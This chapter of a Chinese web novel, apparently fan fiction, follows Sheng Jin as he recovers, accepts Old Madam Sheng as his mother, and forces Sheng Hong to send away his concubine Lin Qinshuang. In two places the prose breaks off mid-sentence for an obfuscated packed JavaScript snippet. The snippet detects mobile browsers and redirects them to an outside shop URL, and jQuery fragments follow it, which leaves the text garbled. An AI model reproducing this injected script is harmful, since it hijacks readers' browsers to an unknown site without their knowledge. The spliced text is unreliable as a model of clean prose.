白老爷听着盛纮的话,冷哼了一声后,面色不变的开口道:“盛通判,你放心吧,我还不至于败坏自家义子的名声。”他在盛纮一脸蒙圈的表情下,开口缓缓讲述起之前盛老太太与他们说的有关盛瑾身世之事。 等白老爷讲完后,盛纮还处于一片震惊的状态中,嘴里喃喃自语道:“我的天爷啊!我和国公爷,我和国公爷居然是亲兄弟。” 白老爷瞧着眼前一脸傻样的盛纮,冷声道:“你别以为你是瑾儿的弟弟,这件事情就可以这么算了,若是瑾儿真出了什么事情,我是不会放过你的。” 盛纮听着白老爷的话顿觉额头上冷汗直冒,强装镇定,道:“白老爷说笑了,盛国公有天子保佑,哪能出什么事啊!” 此时的盛纮终于反应过来盛老太太当时为什么会如此雷厉风行的软禁林噙霜了,敢情还有一层盛瑾是盛老太太亲儿子的原因啊! 盛纮在心里不由自主的想道:“先不说盛瑾国公爷的身份,单单是我这嫡母亲子的身份,他就不能有事,若是他真出了什么事情,我这嫡母怕是会让我、让整个盛家给他陪葬啊!”毕竟盛纮他本人也知道没有哪个母亲能承受第二次失去自己的孩子了。 白老爷眼中带着些许冷意,神情严肃,道:“我可没有和你说笑,若不是你和瑾儿的关系,你觉得今日你能进我白家的大门嘛。” 白老爷说道这里,咬牙切齿道:“我家瑾儿对他的大娘子可谓是一心一意,当年媳妇去世时,他为了不再续弦还特意跑去求了陛下一副墨宝,为的不过是给自己的大娘子守着,满汴州谁不夸我瑾儿是个痴情人啊!这件事情本就是我家瑾儿因着烨哥儿与你家哥儿交好,才好心好意的带着郎中去帮你家难产妇人接生,结果换来你家小厮一句瑾儿与你家妾侍有染,瑾儿他能不怒火攻心晕倒嘛,啊!” 白老爷说道此处,气得直拍桌子,吼道:“瑾儿这些年对他的大娘子痴情至此,你那爱妾造谣他和你另一个妾侍有染,对于他而言就是奇耻大辱,也是往他肺管子上戳啊!我的瑾儿和她有什么恩怨嘛,她犯得着用这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8583822|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴毒法子气死我瑾儿嘛。” 盛纮听着白老爷的话,心里不由自主的想道:“这件事情也不能怪霜儿啊!她又没见过盛国公。”可他看着正处于盛怒中的白老爷,心里的底气又不足起来。 白老爷看着眼前不知在想些什么的盛纮,心里止不住的生气,语气中带着一丝冷意,道:“你不要认为瑾儿没事,这件事情就可以这么过去了,瑾儿还不一定要认回盛家呢,认回亲生母亲并不代表一定要认回其他的亲人,毕竟你只是瑾儿一个陌生的庶弟罢了。” 白老爷在盛纮微微睁大眼睛时,再在盛纮心里插了一刀,道:“瑾儿对于宠妾灭妻之人可没有多少好感。” 盛纮听着白老爷的话,眉头紧皱,毕竟白老爷说的话存在一定的可能性,而且林噙霜闹出的事情势必会让盛瑾对他产生一丝芥蒂,不得不说他猜得很对,如今盛瑾看他从不顺眼到了厌烦,盛瑾若是醒过来一时半会儿怕是也不想到他了。 盛纮一想到这里,便想回去掐死给林噙霜管家之权的自己,并非是他手足情深,而是他看中盛瑾能给他带来的好处,毕竟盛瑾带来的隐形好处是肉眼可见的,盛家若是有了一个国公爷,那么整个盛家的门第都会高上一截。 这时的盛纮才开始懊悔自己对林小娘的放纵,对于白老爷的那些话,他不敢有丝毫的反驳,毕竟他心里清楚的知道即使自己是盛瑾的庶弟,也比不过白老爷和白滢婷在盛瑾心中的地位,如果他和白老爷起冲突,盛瑾绝对会站在白老爷这边的,也会让他在盛瑾心目中的形象一跌再跌,更何况他现在的内心是十分矛盾的,既希望盛瑾醒来,又害怕盛瑾醒来后的怒火,根本没心情去和白老爷争辩什么。 白老爷看着眼前如鹌鹑一般的盛纮,就像是气打在棉花上一般,堵得慌,便将视线转移开来,眼不见为净。 盛纮就这样低沉的气氛下待了一会儿后,正当他要离开时,有个丫鬟面带喜色,动作有些慌张的跑了进来,道:“国公爷,国公爷醒来了。” 白老爷闻言,没有和丫鬟多说什么,一个箭步冲了出去,向着盛瑾的院子跑去,那速度可以说是健步如飞啊!惊得盛纮瞳孔微微放大,不一会儿,他反应过来也朝着白老爷的方向跑去。 另一边躺在床上的盛瑾眼睫毛微微动了动,随后睁开了眼睛,扶了扶额头,起身看到自己身边躺着一位老太太,正是刚刚照顾盛瑾有些疲惫小眠一下的盛老太太。 盛瑾盯着床边的老太太,脑海中闪现过盛老太太的模样,心里不由自主的想道:“她便是我如今这副身体的母亲,为什么她会出现在这里呢?” 盛瑾这样想着,手不由自主的抬起来,想要抚摸一下盛老太太的脸颊,但刚抬起手,却停在了半空中,过了一会儿还是将手收了回去。 盛瑾看着眼前带着些许疲惫入睡的盛老太太,心里五味杂陈,他不知道该如何表达此时的心情,只能在一旁静静的看着沉睡的盛老太太。 盛瑾不知道盯了多久,突然,“哐当”一声,将盛老太太惊醒过来,盛瑾随着声音望去,一个丫鬟正一脸惊喜的看着他,手里端着的一盆水,连盆带水撒了一地,不一会儿,那丫鬟一边向外跑去,一边对着院里其他丫鬟,大声道:“国公爷醒了,国公爷醒了,快去告诉老爷和姑娘,国公爷醒了。” 盛瑾扶了扶被声音震的有些发晕的脑袋,心里不由自主的想道:“这女使声音真大啊!这样一路吼过去,嗓子还要不要了。” 等盛瑾将视线转移回来后,便看见盛老太太压抑着脸上激动的表情盯着他,盛老太太看着盛瑾望向她,随即轻声细语,道:“瑾儿,你醒了,身体有没有不舒服的地方吗?饿不饿吗?我让女使去给你拿饭上来,你等一下。” 说吧,她便起身准备离开。 盛瑾看着眼前为了他有些急促的盛老太太,心里不禁有些感动,语气轻柔,道:“你等一下,我现在还不饿,更何况你应该还有事情要和我说一下吧,例如你为什么会出现在白家呢?” 盛老太太闻言,脸上的表情有些不知所措,过了好一会儿,才慢慢的坐回到盛瑾的床边,她的目光始终停留在盛瑾身上,好像害怕盛瑾突然消失一般。 盛瑾看着盛老太太这个样子,有些心疼,又有些好笑,无奈的开口道 :“您不必这般紧张,我只是想知道事情的原尾罢了。” 盛老太太看到自己的儿子开口后,便按耐住自己激动的心情,将她的身份以及她从寺庙中看到盛瑾后,到找人调查的事情全部告诉了盛瑾。 盛老太太说完后,脸上的神情十分悲伤,她接着开口道:“瑾儿,是我对不住你,我不求你现在就接受我,只求你让我再照顾你几天,好嘛。” 盛瑾看着眼前的盛老太太小心翼翼讨好他的样子,心里有些心疼盛老太太,他知道盛老太太想要他喊她一声娘,但又怕触动他的心情,就连说话都不敢带一个娘字,生怕惹他生气,就在盛瑾不知道如何打破僵局时,白老爷突然冲了进来。 白老爷一脸激动的看着盛瑾,他想要抓着盛瑾上下打量,又顾忌着盛瑾的身体,不好动手,最终只能压抑着自己的激动,开口道:“瑾儿,你的身体好多了嘛。” 盛瑾刚要回话,就看到跟在白老爷身后跑进来的盛纮,他的脸色微沉了一下,语气淡淡道:“义父,我身子有些不适,不方便接待盛通判,麻烦您将盛通判送出府吧。” 白老爷闻言,转头发现盛纮跟在他身后,想着盛瑾是因为盛纮的爱妾林噙霜晕倒的,怕是短时间内不想见到盛纮,考虑到盛瑾才刚醒需要休息,于是他脸上带着关心的表情,道:“瑾儿,你好好休息,我这就送盛通判离开。”说完全然不顾盛纮难看的脸色将人带出了盛瑾的院子,而盛纮压着一肚子的委屈也不敢反驳什么,自只能由着白老爷带他离开,当然,盛纮临走时还不忘对一旁的盛老太太行礼问好,那样子简直像个模范孝子啊! 等盛纮和白老爷都走后,盛瑾看着一旁有些举措的盛老太太,语气柔和,道:“娘,我饿了,给我弄点吃的吧。” 盛老太太还没有反应过来,只是下意识的点了点头,不一会儿,她反应过来,语气有些激动,道:“瑾儿,你叫我娘了嘛。” 盛老太太激动的像是得到了一个糖果的小孩,盛瑾看着她的样子有些好笑与心疼,纵容道:“嗯,娘,儿子饿了,要吃东西。” 盛老太太满脸笑容,语气中充满了愉悦,道:“好,瑾儿,你等着,娘亲让她们给你拿吃的,你告诉娘你喜欢吃什么,娘让她们给你做。” 盛瑾眼中闪过一丝无奈,语气中带着一丝纵容,道:“没什么特别喜欢的,娘觉得哪样好吃,就做哪样吧。” 盛老太太闻言,脸上的笑容更是压都压不住,道:“那好,瑾儿,你在这里好好休息,娘亲去找人给你做好吃的。” 盛瑾看着盛老太太离开房间时开心的笑容,不禁有些感动,过了一会儿,白滢婷过来了,他安抚完白滢婷,等白滢婷离开后,他便再次躺在床上思考着下一步该如何走了。 第 37 章 清晨,白家盛瑾所在的院子,盛瑾脸上带着些许的疲惫,昨日他想了一整夜,盛老太太是一定要随他一起生活的,毕竟他是盛老太太的亲生儿子,哪有嫡兄让庶弟奉养自己嫡亲母亲的道理,可是他对盛纮一家子拿不定主意,这也是他昨日想了一宿的原因。 盛瑾对盛纮并没有多少好感,依着这些日子在扬州城听到关于盛家的事情,不难看出盛纮虽然在为官处事方面圆滑谨慎,但他的后宅可不平静啊! 盛瑾一想到盛纮那宠妾灭妻的事迹,脑壳就开始隐隐有些作痛,俗话说的好,永远不要小瞧后宅的女人,从他经历的卫如意这件事情来看,这林噙霜可不是什么善茬,再加上她对盛纮的影响力,早晚都会给盛家惹出大麻烦来的,可想要完全放弃盛家也是不可能的事情,毕竟认回盛老太太也就意味着认回了盛家,在外人眼中盛纮和他是一家人,一荣俱荣一损俱损,若是盛纮那边出了什么大事,这势必会影响到他这边,更何况如今的盛家是盛老太太大半辈子的心血,也要考虑一下盛老太太的心情。 盛瑾在心里叹了口气,暗暗想道:“摊上这么个庶弟,往后的日子恐怕要多姿多彩了,不过盛家的事情还是要和母亲商量一下的,毕竟我对盛家的了解远不如母亲。”于是他在用膳的时候,向盛老太太提起了这件事情。 盛老太太闻言,沉思了片刻,叹了口气道:“瑾儿,虽说你庶弟因着他生母的事情对我有些许隔阂,可大抵上他对我还算不错的,家中的哥儿姐儿对我也十分恭敬,若是让他分府别居,我这心里有些许不忍的,再者,先不说这件事情会不会影响他与你之间的关系,就是外人的闲言碎语都会给你带来不少烦恼。” 盛老太太说到这里,眼神微沉,道:“虽说这世上嫡母在世庶子分府别居的事情不少,可瑾儿你刚认回盛家便将庶弟分府别居,恐在外留下个瞧不上庶弟的名声。” 盛瑾听到盛老太太这么说也没有多大的意外,心道:“果然,分府别居这件事情悬啊!但若是不能分府别居,这林小娘是一定不能住到一起的。” 盛瑾不是傻子,他早回味过来卫如意难产这件事情怕是有林噙霜的手笔在,再加上上辈子同事们对林噙霜的评价,这林噙霜就不是一个省油的灯,他对这样的人向来是敬而远之,但是他又不能插手盛纮的内宅,便对着盛老太太直言道:“母亲,其实我对分府别居这件事情并不在意,主要是盛纮那个妾侍林小娘,我是实在不想与她同一屋檐下生活。” 盛老太太听到盛瑾提起林噙霜这个人时,眼中闪过一丝冷意,道:“出了这样的事情,她要是还能待在盛家,那我就是个笑话,先不论她算计卫小娘难产的事情,就冲她随意造谣主君嫡兄这件事,盛纮若是还想要他的前程就断不能对林噙霜轻拿轻放。” 盛老太太说到这里,眼中闪过一丝怜惜,道:“只可惜了这卫小娘,她因着林噙霜搞出的这桩事情也不能留在盛家了。” 盛瑾听到卫如意也不能待在盛家,想着她还有一对儿女,眉头微皱,道:“母亲,这卫小娘实属无辜,况且她还有一对年纪尚小的儿女,若是将她送出盛家,对这两个孩子而言有些残忍。”不是他不心疼林噙霜的那一对儿女,而是以林噙霜在盛纮心中的地位,即使林噙霜被送走了,盛纮也会对这两个孩子好的,没准因着送走林噙霜的愧疚,还会对林噙霜的两个孩子更好,至于卫如意,从那天他看到卫如意院中的荒凉,不难猜出她在盛纮心中的地位,若是卫如意真的被送走了,卫如意这两个孩子怕是根本没人在乎了,没人在乎的孩子在后宅的日子也不会好过到哪里去。 盛老太太自然能听出盛瑾话中的意思,她叹了口气,道:“这也是没法子的事情,虽说卫小娘和你是被林噙霜造摇的,但若是只惩戒了林噙霜,不送走卫小娘,恐怕外人会觉得你和卫小娘之间真有些私情在,再者,依着你那庶弟的性子,卫小娘留下不见得就有好日子过,他或许会因为林噙霜被送走而不待见卫小娘,一个被主君厌恶的妾侍在内宅会有什么好日子过呢,她的两个孩子又怎么能得到主君的喜爱呢。” 盛瑾听着盛老太太的话,沉默不语,而站在门外听了许久的白滢婷,眸子陡然地亮了亮,大步走进来,道:“哥哥,你若是实在放心不下卫小娘的两个孩子,不如就将卫小娘的女儿过继过来自己养着,至于卫小娘的儿子可以过继给你逝世的兄长传承香火。” 白滢婷本来是用完膳来找盛瑾的,等到了门口就听到盛瑾和盛老太太在聊卫如意和林噙霜的事情,不知怎么的,竟站在原地听了起来,现在听到盛老太太提起卫如意的两个孩子,她的脑海中浮现出盛明兰模样的同时,想起了前几日的梦境,一时之间便冒出了一个想法,这个想法愈演愈烈,接着便有了现在的场面。 白滢婷在盛瑾皱着眉头要反驳她时,接着开口道:“哥哥,我不是开玩笑的,明儿长得那么像你和嫂嫂,我觉得这是明儿与哥哥嫂嫂之间的缘分,再加之卫小娘出了这种事情,如老太太所言,明儿和她弟弟在盛家也没有多好的日子可以过,倒不如过继出去的好,况且我相信比起明儿的亲生父亲,卫小娘肯定更愿意将两个孩子交给老太太和哥哥扶养,更何况过继出去的身份必定比庶出要好得多。” 白滢婷说到这里,眼中闪过一丝哀伤,道:“哥哥,前不久我梦见嫂嫂了,她身边带着个小姑娘与明兰长得一模一样,我觉得这也许是嫂嫂在暗示我,这孩子与哥哥嫂嫂有缘,哥哥,嫂嫂曾说过若不是伤了身子,她还想与你再有个女儿的。” 盛老太太对于白滢婷话中提到的给大儿子过继子嗣的事情有几分意动,毕竟她对于自己夭折的大儿子心存愧疚,若是大儿子能过继个子嗣传承香火,她的愧疚也能少上几分。 盛老太太看了一眼白滢婷,她知道白滢婷为什么不让卫小娘的儿女一同过继到盛瑾名下,毕竟这过继儿子和过继女儿不一样,过继儿子就意味着丰国公府又有了一个嫡子,难保这个过继来的嫡子长大后会不会起异心,依着白滢婷对慕卿云的感情,她是不可能让人威胁到盛长轩的地位。 盛瑾听着白滢婷的话,一时之间竟无言以对,他的脑海里开始浮现出他抱过盛明兰的场景以及盛明兰的容颜,心里不由自主的想道:“还真像婷儿说的,与轩轩长得有几分相似啊!不过,她更像慕卿云,况且人瞧上去也是乖乖巧巧的,若是卫小娘不在盛家了,怕是没法子对付刁奴吧。” 盛瑾自然不觉得王若弗一个大娘子会为难两个孩子,物质上虽然不会刻薄,但到底不是她亲生,照顾起来也不会尽心尽力,难保不会有丫鬟小厮欺上瞒下克扣或欺辱两个孩子。 盛瑾这般想着,抬头看了一眼盛老太太,瞧出盛老太太也有些意动,沉思了好一会儿后,道:“明日我让人给盛纮送一封信,邀他过来商量一下接下来的事情,无论是分府别居,还是过继孩子,这些事情都是需要听一听他的意见的。” 白滢婷和盛老太太听着盛瑾的话,便知道他对过继孩子并不反对,只不过他不确定盛纮会不会同意,但他会尽力一试的。 另一边的盛家,卫如意院中,她满眼担忧的看着摇篮中的婴儿,心里止不住的担忧起自己这双儿女的前程。 卫如意身旁的丫鬟小蝶瞧着她这样,忍不住的出声安抚道:“小娘,这件事情是林小娘惹出来的,主君和大娘子都怪不到你身上,更何况你刚给盛家生了个哥儿,他们不会对你怎么样的。” 卫如意听着小蝶的话,嘴角勉强扯出一抹微笑来回应小蝶的安抚,不过,她心底的不安从未停止过,毕竟自从孩子出声后,盛老太太和盛纮王若弗都没有派人过来看一下孩子,而且林噙霜也被严加看管起来了。 卫如意出身耕读人家,父亲是秀才,自幼读书习字,要不是家中出了些事情也不至于给人做妾,以她的聪慧,再加上这些年对盛家主人的了解及最近盛家的动作,恐怕林噙霜这次没那么容易逃脱了,而她虽然无辜,但涉及国公之事,以盛纮的性子八成会将她送到乡下的庄子去,就算盛纮将自己留下来,八成也会因着林噙霜之事迁怒她和她的一双儿女。 卫如意想到这里,心里不由自主的叹了口气道:“无论我离开盛家,还是留在盛家,明儿和这孩子的日子都不会好过的。” 不同于卫如意此时的担忧,王若弗心里一片欢喜,她拉着刘妈妈畅快道:“林噙霜这次是逃不掉了,瞧着这些天她用尽手段也没办法将官人引到她院中,想来官人是打算严惩她了。” 刘妈妈看着有些得意忘形的王若弗,轻声提醒道:“大娘子,虽说林小娘这次因着国公爷栽了跟头,主君为着平息国公爷的怒火断不会对此事轻拿轻放的,但到底林小娘在主君心中的份量不轻啊!我们可要盯紧些才好,不能再出现有人在主君面前哭诉林小娘的事情了。” 王若弗闻言,脸上带着些许怒火,显然是想起了前不久林小娘买通丫鬟到盛纮面前哭诉的事情,她咬牙切齿道:“这些个吃里扒外的东西,要不是官人这次对那贱人硬了心肠,没准真去见了那贱人,不行,都到了这个程度,万不能让那贱人翻身了。” 王若弗说到这里,对着刘妈妈嘱咐道:“你再多找几个婆子,务必在官人给那贱人处罚之前,将那贱人看牢了。” 刘妈妈听到王若弗的话,点了点头,随即提了一句,道:“大娘子,卫小娘自从生下哥儿后,无论是主君还是老太太都未曾派人去看过,你看我们这边要不要去看看。” 王若弗听到刘妈妈提起卫如意,微微皱眉,随即漫不经心道:“官人和母亲都没去,我去凑什么热闹啊!”虽说卫如意是她买回来对付林噙霜的,可到底没起多大作用,因此,即使卫如意这些年安分守己,但她还是卫如意有些许不满。 刘妈妈微微低头,轻声道:“大娘子,老太太和主君怕是因为林小娘这件事忙碌着,一时之间忘了派人去看看新生的哥儿,这到底是盛家的哥儿,等主君他们缓过神来还是要去看看的,难道您想让主君又找您的错处嘛。” 王若弗听到刘妈妈说起盛纮,才提起一丝慎重,道:“你说的有道理,罢了,到底是为盛家开枝散叶的,再加上林噙霜这次栽跟头也有卫小娘的原因在,你去取五两银子和两匹锦缎给她。” 刘妈妈随即退了下去,王若弗让刘妈妈送给卫如意的东西,给卫如意此时不安的心带去了些许的安抚。 清晨,盛纮按照盛瑾的信件上的时间如约来到了白家书房中,他看着一脸严肃的盛瑾和白老爷就知道今天这关不好过啊!一时之间他有些想像鹌鹑一样缩小自己的存在感了。 白老爷之所以在这里是盛瑾将他请过来当个见证人的,他瞧着眼前有些怂的盛纮,心中并没有对盛纮的同情,毕竟盛瑾可是因为他的小妾昏迷了几日呢,但也没有前不久瞧盛纮眼睛不是眼睛鼻子不是鼻子的样子了。 盛瑾一看到盛纮就想起了他那混乱的后宅,随即便觉得脑门隐隐有些作痛,他是真不想给自己找麻烦啊!可是盛纮是他的庶弟,又没有犯什么极大的错误,只要他不想让自己的名声受损,便不能和盛纮断绝关系。 盛瑾在心里不断的安抚自己,道:“算了算了,盛纮还是比那天母亲口中的宥阳盛家三房好多了,更何况我是兄长管教一下庶弟也没人说什么。” 盛瑾想到这里,不由自主的想起了盛老太太口中的宥阳盛家三房做过的事情,他的脑壳更疼了,心里吐槽道:“这个还能靠着长兄如父压着管教一番,那盛家三房才是要想个法子对付一下,不行了,不能再想下去了,越想越觉得老子亏大发了,他喵的,老子只想要老娘,不想要这一群极品亲戚,真是拔出萝卜带出土啊!” 盛瑾这边正在发散思维当中,而盛纮看着盛瑾越来越低沉的脸色,觉得盛瑾是不满自己的态度,于是他硬着头皮率先开口道:“二哥的身子好些了吗?” 盛纮本来想叫盛瑾国公爷,但是他瞧着盛老太太在盛瑾醒后还白家待在,便猜出盛瑾是认盛老太太的,便大着胆子叫盛瑾二哥,企图让盛瑾看在血脉亲情的份上不要让自己太过难看。 盛瑾的思维被盛纮出声打断了,他平复了一下自己的心情,面无表情的嘲讽道:“没想到盛通判还会关心我的身子啊!我还以为你更在乎自己那个心肝呢?” 盛纮闻言,打了一个激灵,提起一万分精神,道:“二哥这是哪里的话啊!什么通判不通判的,一家人这么叫多疏远啊!你是我兄长,我当然关心你的身子了。” 盛瑾眼中闪过一丝冷笑,语气中夹杂着一丝讽刺的意味,道:“瞧我们盛通判这话说的真是漂亮啊!不过,我哪敢和盛通判攀关系啊!盛通判多厉害啊!您的宠妾张口就能随意损坏他人清白,还能明晃晃的造摇您其他妾侍红杏出墙,看来盛通判对自己的宠妾不是一般的宽容啊!都说宰相肚里能撑船,我看盛通判也不差嘛。” 盛纮知道盛瑾是在发泄对他的不满,于是他低着头,沉默的看着地板,等待盛瑾发泄完情绪,不过他没想到盛瑾并没有接着讽刺他,只是沉默片刻后,来了一句“这件事情你打算给我一个什么样的交代呢?” 盛纮闻言,抬头看了一眼面无表情的盛瑾,可能是话题跳跃的太快,一时之间他尽然不知道如何回答盛瑾的话。 盛瑾看着盛纮一副沉默不语的样子,脸色微微低沉,道:“怎么,你到现在还没想好要如何处置你那胆大包天的宠妾嘛,我明明白白告诉你,母亲,我是一定要认的,念在一家人的份上,我给你提个醒,若是你执意要留下这个宠妾,那就要想好后果,你以后早晚是要升任汴州的,到时候若有个眼红你的以此事为由掺你纵容宠妾气晕嫡兄,那你的名声和仕途怕是到头了吧” 盛瑾的话犹如惊雷一般在盛纮的脑海中炸响,他的脊背只觉得一阵发凉,可没过一会儿他的脑海中又闪过林噙霜和她的一双儿女,心里有些不忍,毕竟林噙霜可是他的真爱白月光啊! 盛纮知道这件事情不惩罚林噙霜过不去,但对林噙霜的处罚上可以轻些,他因着盛瑾认回盛老太太心存一丝侥幸,道:“二哥,这件事情是弟弟管教不严惹出的,本来弟弟是打算将林小娘和卫小娘送到庄子上的,但她们好歹都给弟弟生了一双儿女,弟弟实在于心不忍,便想着给她们放妾书,让她们回自己娘家去,可林小娘不如卫小娘,她身世可怜又没有一个亲人,一颗心全在弟弟身上,若是让她独自一人在外生活,她怕是活不下去啊!好歹服侍弟弟一场,弟弟实在不忍啊!” 盛纮说到这里,微微抬头看了一眼面无表情的盛瑾后,低头继续道:“不若将卫小娘送回她娘家去,林小娘罚二十棍后送往庄子反省一年,弟弟以后一定对林小娘严加管教,若是她再犯,绝不姑息。”他最后一句的声音极低,但在场的人都能听清楚他的话。 白老爷眼神中闪过一丝震惊,他没想到盛纮对两个妾侍的处置能如此不公,简直大跌眼镜啊!说白了,给林噙霜行刑的是盛纮的人,那二十棍八成也是个水分,更何况他居然还想让这么大胆的宠妾回来,一时间他不知道如何形容盛纮了。 盛瑾在心里对盛纮翻了个白眼,随即略带嘲讽道:“林小娘可真是你的心肝啊!卫小娘这个无辜遭殃的人都要被撵出盛家,而这件事情的罪魁祸首林小娘却能再回到盛家,我是真不知道你是心偏的没边呢,还是根本不在乎我这个兄长的名声呢。” 盛纮被盛瑾的话惊得后背发凉,就在这时白老爷语出惊人道:“瑾儿,我瞧着你这个哥哥在盛通判心里可远没有他的宠妾重要啊!瞧瞧到现在还护着,不知道的还以为那是盛通判的亲娘呢。”他这话可谓是插了盛纮一刀啊! 盛纮赶忙对着盛瑾行礼,随即便要开口为自己辩解,可他还没来得及开口就听到盛瑾清冷的声音传来“这世间就没有受害者惩罚比罪犯轻的道理,既然你要送走卫小娘,就应该一碗水端平,将林小娘也送走,这样方能镇住你后宅的歪风邪气,再说了,这卫小娘难产的事情怕是也有这位林小娘的手笔在吧,这次你若是装聋作哑的糊弄过去,难保她以后不会再对盛家子嗣下一次手。” 盛纮听着盛瑾的话,眼中闪过一丝挣扎,可他还是舍不得林噙霜的温柔乡,过了一会儿,他还是选择为林噙霜辩解道:“二哥,霜儿也是把我看的太重了,才会如此,再则墨儿和枫儿还年幼,这离了亲娘可咋行啊!二哥请看在你侄子侄女年幼的份上,就……” 盛瑾一听到盛纮提起林噙霜那一双儿女离不开亲娘,全然不想想卫如意那对儿女比林噙霜的儿女还要年幼,他们就离得开亲娘了嘛,刹那间,他觉得或许白滢婷是对的,这两个孩子跟着盛纮还不如跟着他和盛老太太呢,如果说原先他还为抢盛纮一双儿女而心存愧疚和不忍,那此时的他已经全然没有了这种感觉,毕竟盛纮自己都偏心偏到天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8585114|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了,既然他都不在乎卫小娘的一双儿女,那么不妨换人来疼爱他们。 盛纮并没有发现盛瑾在神游,他说了好一会儿才感觉到屋内气氛有些不对,随即心里有些拿不准盛瑾的想法,最后轻声道:“还请二哥看在枫儿墨儿年幼的份上,莫要让他们失去亲娘啊!” 盛纮说完后,屋内一片寂静,过了好一会儿,盛瑾才缓缓开口道:“弟弟,不是我执意严惩林小娘,只是她这次做的事情实在是让我无法释怀啊!我对你嫂嫂一往情深,要不然也不会被你那林小娘给气晕过去,二哥明白你对林小娘的感情,但二哥也没办法啊!母亲本来有意让我这一房和你这一房在一府生活,以便培养两房长辈小辈的感情,可就冲着林小娘做的这件事,你让我与林小娘同一屋檐下下生活是万万不可能了,要不然,两房还是不要住在一起了吧,这样我也就不逼着你去处罚林小娘了。”他既然要过继盛纮的子嗣就不能因着林噙霜的事情和盛纮闹僵,现在只能采用以退为进的方法了。 盛纮瞬间反应过来盛老太太如今有了亲生儿子,若是分府别居,那盛老太太肯定是跟着盛瑾的,毕竟哪有亲娘不跟自己儿子生活反而和庶子生活的,不过盛老太太对于盛纮而言还是十分重要的,不仅仅是对于他的仕途而言,还有盛家如今的名声有一大半是靠着盛老太太勇毅侯府独女的名头来支撑的,再说了,若是没有盛老太太在家里镇着,谁知道王若弗会不会做出什么出格的事情啊! 盛纮想到王若弗的同时,瞬间想起了王若弗的姐姐王若与,这些年他也帮着大舅哥处理了几件有关她的事情,对她的杀伤力略知一二,王若弗向来是个直肠子的人,又对亲人没有防备,这在扬州城还好,天高皇帝远的,王若与的手伸不到盛家来,但是他早晚是要回汴州的,那王若弗早晚被王若与忽悠着干蠢事。 盛瑾若知道盛纮的想法八成会在心里翻着白眼道:“感情你也知道你家大娘子是个蠢的,容易被自己姐姐利用啊!之前拿我母亲当挡箭牌时没念着她的好,现下失去了才开始着急了,你盛纮就是活该。” 当然盛纮除去王若弗这层原因外,还考虑到若是不分府别居,那么他们一家肯定是住在丰国公府的,不是他看不起盛家在汴州的宅子,就算他请盛瑾去住,盛瑾也不可能放着丰国公府不住住他那的,那像什么话啊! 盛纮清楚的知道住丰国公府的好处不少,当拿子女嫁娶来说,若是在丰国公府出嫁或是娶妻能给他的子女带来不少体面,况且盛瑾和盛长轩都是状元郎,家中的藏书绝对不会少,对于盛长柏和盛长枫的科举之路绝对能提供不少的助力,当然,最让他产生动摇的是盛瑾说的培养长辈小辈的感情,就算他今天一直拿盛长枫和盛墨兰年幼为借口来保林噙霜,但他心里十分清楚盛瑾对他都没有多少感情,又能对从未谋面的盛长枫盛墨兰有个毛线的感情啊!毕竟即使是血脉亲情也是需要培养的。 盛纮在官场多年自然知道能到盛瑾这个地位,人脉和皇帝的恩宠定是不少,若是能在丰国公府住着,盛瑾和他的儿女相处久了自然会产生一些感情,到时候不用他说,盛瑾也会给予盛长柏盛长枫仕途上一些帮助的。 盛纮不亏是当官的,他在这短短的时间内就想到了许多事情,显然林噙霜比起盛家的未来是不够格的,他只能忍痛割舍林噙霜了。 盛纮眼神中闪过一丝不舍后,浮现坚定的神情,道:“二哥说的是,小弟因着对林小娘的怜惜而忽视二哥的感受属实是不该啊!等小弟回去后一定让人将林小娘送往庄子上。” 盛纮说到这里时,心如刀绞一般,可是此时的他已经不能报着原先那一丝侥幸的心理,妄图靠拖延时间来让盛瑾遗忘林噙霜所做的事情后将人接回来,毕竟盛瑾已经直言他与林小娘只能二选一,不过,他又想起林噙霜及其一双儿女,母子分离之痛让他想起了与他阴阳两隔的生母春小娘,于是他再次开口道:“二哥,枫儿墨儿如今已知事了,我怕他们见不到亲娘,而日夜忧伤,这对他们的身子没有什么好处,如若不然,请二哥允许我可以每年带着孩子们见几次林小娘。” 盛瑾知道这已经是盛纮最大的让步了,随即面色不变的提醒道:“可以是可以,但林小娘心思恶毒,长枫墨兰之前与她在一起,多少染了点心性,还是少让他们见面,免得带坏心性,连累了盛家。” 盛纮闻言猛然惊醒,他想到若是林噙霜和盛长枫盛墨兰说盛瑾的坏话,那么他这两个孩子会不会记恨盛瑾,盛家未来是要靠盛瑾在前面撑着的,若是他这一脉和盛瑾这一脉交恶,无论对他还是对盛长枫而言绝对不是什么好事,他再相信林噙霜,但这种关乎他仕途和盛家未来的事情,他还是不愿意赌的。 盛纮沉默了片刻后,打定主意在盛长枫婚前不让他与林噙霜见面,而盛墨兰在及笄前也不能见林噙霜,而且就算他们见面时他也必须安排个人在场,免得真出现他想的场景。 盛纮想到这里,对着盛瑾一脸郑重,道:“二哥,你放心,我心里有数,不会让墨儿和枫儿单独见林小娘的。” 盛瑾在心里忍不住的嘲讽道:“果然这板子不挨到自己身上不知道疼啊!这不,只要涉及自身利益,我这个便宜弟弟立场立马变了,但还是要安抚一下他的,不然如何说下面的事情呢。” 